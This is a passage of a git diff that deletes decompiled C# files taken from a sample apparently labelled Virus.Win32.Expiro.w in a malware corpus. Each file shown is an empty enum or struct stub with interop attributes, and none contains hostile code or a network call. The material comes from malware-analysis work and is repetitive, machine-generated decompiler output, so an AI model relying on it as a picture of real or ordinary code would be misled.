C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagSPINITF -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTATFLAG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTATFLAG.cs deleted file mode 100644 index fc90434e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTATFLAG.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTATFLAG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagSTATFLAG -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTDMSHLFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTDMSHLFLAGS.cs deleted file mode 100644 index 97e9752d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTDMSHLFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTDMSHLFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagSTDMSHLFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTGC.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTGC.cs deleted file mode 100644 index 6a4126ef..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTGC.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTGC -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagSTGC -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTGMOVE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTGMOVE.cs deleted file mode 100644 index 1c1d6b7e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTGMOVE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTGMOVE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagSTGMOVE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTGOP.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTGOP.cs deleted file mode 100644 index 0ff845d3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTGOP.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTGOP -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagSTGOP -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTGTY.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTGTY.cs deleted file mode 100644 index e3832519..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTGTY.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTGTY -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagSTGTY -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTREAM_SEEK.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTREAM_SEEK.cs deleted file mode 100644 index 4ddd8aad..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTREAM_SEEK.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTREAM_SEEK -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagSTREAM_SEEK -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTRRET_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTRRET_TYPE.cs deleted file mode 100644 index 1f2961f9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTRRET_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTRRET_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagSTRRET_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTRUCTURED_QUERY_MULTIOPTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTRUCTURED_QUERY_MULTIOPTION.cs deleted file mode 100644 index ae412abf..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTRUCTURED_QUERY_MULTIOPTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTRUCTURED_QUERY_MULTIOPTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagSTRUCTURED_QUERY_MULTIOPTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTRUCTURED_QUERY_PARSE_ERROR.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTRUCTURED_QUERY_PARSE_ERROR.cs deleted file mode 100644 index 774e9653..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTRUCTURED_QUERY_PARSE_ERROR.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTRUCTURED_QUERY_PARSE_ERROR -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagSTRUCTURED_QUERY_PARSE_ERROR -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTRUCTURED_QUERY_RESOLVE_OPTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTRUCTURED_QUERY_RESOLVE_OPTION.cs deleted file mode 100644 index 3765c333..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTRUCTURED_QUERY_RESOLVE_OPTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTRUCTURED_QUERY_RESOLVE_OPTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagSTRUCTURED_QUERY_RESOLVE_OPTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTRUCTURED_QUERY_SINGLE_OPTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTRUCTURED_QUERY_SINGLE_OPTION.cs deleted file mode 100644 index 5ab3041b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSTRUCTURED_QUERY_SINGLE_OPTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTRUCTURED_QUERY_SINGLE_OPTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagSTRUCTURED_QUERY_SINGLE_OPTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSVGIO.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSVGIO.cs deleted file mode 100644 index 9cb168a0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSVGIO.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSVGIO -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagSVGIO -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSVUIA_STATUS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSVUIA_STATUS.cs deleted file mode 100644 index 611acf37..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSVUIA_STATUS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSVUIA_STATUS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagSVUIA_STATUS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSYSKIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSYSKIND.cs deleted file mode 100644 index 05308d90..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagSYSKIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSYSKIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagSYSKIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagShutdownType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagShutdownType.cs deleted file mode 100644 index e60db793..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagShutdownType.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagShutdownType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagShutdownType -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagTEXTMETRICA.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagTEXTMETRICA.cs deleted file mode 100644 index f8165d5f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagTEXTMETRICA.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagTEXTMETRICA -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[NativeCppClass] -[StructLayout(LayoutKind.Sequential, Size = 56)] -internal struct tagTEXTMETRICA -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagTEXTMETRICW.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagTEXTMETRICW.cs deleted file mode 100644 index 9921e6ca..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagTEXTMETRICW.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagTEXTMETRICW -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 60)] -internal struct tagTEXTMETRICW -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagTYMED.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagTYMED.cs deleted file mode 100644 index 6374af81..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagTYMED.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagTYMED -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagTYMED -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagTYPEFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagTYPEFLAGS.cs deleted file mode 100644 index c8ae5b9d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagTYPEFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagTYPEFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagTYPEFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagTYPEKIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagTYPEKIND.cs deleted file mode 100644 index 714bb557..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagTYPEKIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagTYPEKIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagTYPEKIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagTYSPEC.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagTYSPEC.cs deleted file mode 100644 index 60a5e574..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagTYSPEC.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagTYSPEC -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagTYSPEC -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagUASFLAGS.cs 